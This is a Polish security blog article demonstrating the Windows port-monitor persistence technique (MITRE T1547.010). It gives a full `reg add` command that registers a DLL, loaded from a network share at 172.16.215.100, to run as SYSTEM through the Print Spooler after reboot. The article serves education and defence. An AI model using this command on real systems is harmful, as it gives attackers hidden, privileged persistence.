Menu dostępności

Uruchomienie złośliwego oprogramowania z wykorzystaniem monitora portów drukarek

W dzisiejszym artykule opiszemy jedną z ciekawych technik trwałego ukrywania się cyberprzestępców w systemie Windows, umożliwiającą uruchomienie złośliwego oprogramowania. Została ona opisana w Mitre T1547.010 i na potrzeby artykułu postanowiliśmy ją zademonstrować. Jest ona ciekawa, ponieważ możliwa jest do wykonania nawet na najnowszych wersjach Windows.


Co to jest Port Monitor?

Opisywana technika wykorzystuje możliwość Print Spoolera, czyli serwisu na Windows odpowiadającego za funkcje bufora wydruku (drukowania), w której można do systemu dodawać tak zwane monitory portów (Port Monitor). Cyberprzestępca, jeśli zdobędzie odpowiednie uprawnienia zapisu do gałęzi rejestru (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors) lub lokalnego administratora na Windows będzie miał możliwość dodania w nim monitor portu drukarki oraz dodania dowolnej biblioteki DLL, która będzie działać jako „monitor”.

Istnieją zasadniczo dwa sposoby dodania monitora portu, zwanego również złośliwą biblioteką dll:

  • za pośrednictwem rejestru systemowego w celu zapewnienia na sztywno przyczółku w systemie. Potrzebny będzie restart komputera.
  • za pośrednictwem niestandardowej aplikacji systemu Windows (funkcja AddMonitor) do natychmiastowego wykonania biblioteki dll.

Ponieważ usługa Print Spooler działa na najwyższych uprawnieniach systemowych „ZARZĄDZANIE NT/SYSTEM”, to tak skonfigurowana biblioteka DLL uruchomi się także w kontekście tych uprawnień. Stwarza to cyberprzestępcom nieograniczone możliwości w systemie Windows.


Przykład złośliwej biblioteki

Poniżej zamieszczamy kod biblioteki (payload.dll) napisanej w C++, której wynikiem działania jest uruchomienie na pulpicie Windows okna z wiadomością.


Jak stworzyć przyczółek w Windows z wykorzystaniem Port Monitor?

Dokumentacja Microsoft MSDN określa, że biblioteka DLL musi znaleźć się we wpisie Drivers i wszelkie pliki towarzyszące muszą znajdować się w katalogu „C:\Windows\System32\”. Okazuje się, że niekoniecznie tak musi być z lokalizacją biblioteki. Możemy ją załadować z udziału sieciowego tak, jak zostało to opisane i pokazane tutaj.

W celu dodanie wymaganego klucza do rejestru możemy użyć poniżej komendy: reg add „HKLM\System\CurrentControlSet\Control\Print\Monitors\KapitanHack” /v „Driver” /d „\\172.16.215.100\kapitan\payload.dll” /t REG_SZ”

W wyniku której zostanie dodany nasz port monitor KapitanHack z payload (plik payload.dll) pochodzącym z udostępnionego dla wszystkich (tryb zapis i odczyt) udziału o nazwie „kapitan” na serwerze 172.16.215.100.

Po ponownym uruchomieniu komputera możemy zobaczyć wynik w postaci uruchomienia biblioteki (pliku payload.dll), a konkretniej w naszym przypadku wywołania w niej funkcji uruchamiającej okno komunikatu na Windows.

Nasz plik payload.dll możemy załadować do Port Monitor z wykorzystaniem wcześniej wspomnianej funkcji w C++ AddMonitor().

Kompilując powyższy kod i uruchamiając go, system Windows uruchomi go automatycznie i na ekranie powinno pojawić się okno z naszym komunikatem. Uwaga! Program musimy uruchomić na użytkowniku posiadającym lokalne uprawnienia administracyjne lub przynajmniej uprawnienie SeLoadDriverPrivilege.

Popularne

CVE-2026-18963: krytyczny błąd w Keycloak pozwala ominąć weryfikację resetu hasła

CVE-2026-18963: krytyczny błąd w Keycloak pozwala ominąć weryfikację resetu hasła

Na Kapitanie niejednokrotnie pisaliśmy o systemach Identity and Access Management, zarówno w kontekście ich roli w organizacji, jak i podatności oraz błędów związanych z mechanizmami zarządzania dostępem...
Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

W tym artykule pokażemy, jak możemy zmienić hasło administratora na komputerze posiadając do niego fizyczny dostęp. Artykuł ten można potraktować także jako przestrogę dla firm, które nie zaimplementowały jeszcze odpo...
Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jeśli masz odrobinę szczęścia lub „odpowiednie umiejętności” i potrafisz zdobyć lokalne uprawnienia administracyjne na Twoim komputerze w firmie lub zaliczasz się do grona tych szczęściarzy, którzy pracuj...
Czy Wi-Fi może służyć jako radar i rozpoznawać ludzi przez ściany?!

Czy Wi-Fi może służyć jako radar i rozpoznawać ludzi przez ściany?!

Wi-Fi od dawna nie służy już wyłącznie do przesyłania danych. Fale radiowe wykorzystywane przez sieci bezprzewodowe nieustannie oddziałują z otoczeniem – odbijają się od ścian, mebli i znajdujących się w pomiesz...
Adobe Campaign Classic z krytycznymi lukami CVSS 10.0. Łatajcie!

Adobe Campaign Classic z krytycznymi lukami CVSS 10.0. Łatajcie!

Trzy podatności pozwalają na wykonanie dowolnego kodu. Zagrożone są lokalne instalacje Windows i Linux. W świecie bezpieczeństwa IT nie każda podatność wymaga natychmiastowego przerwania planowanego cyklu ak...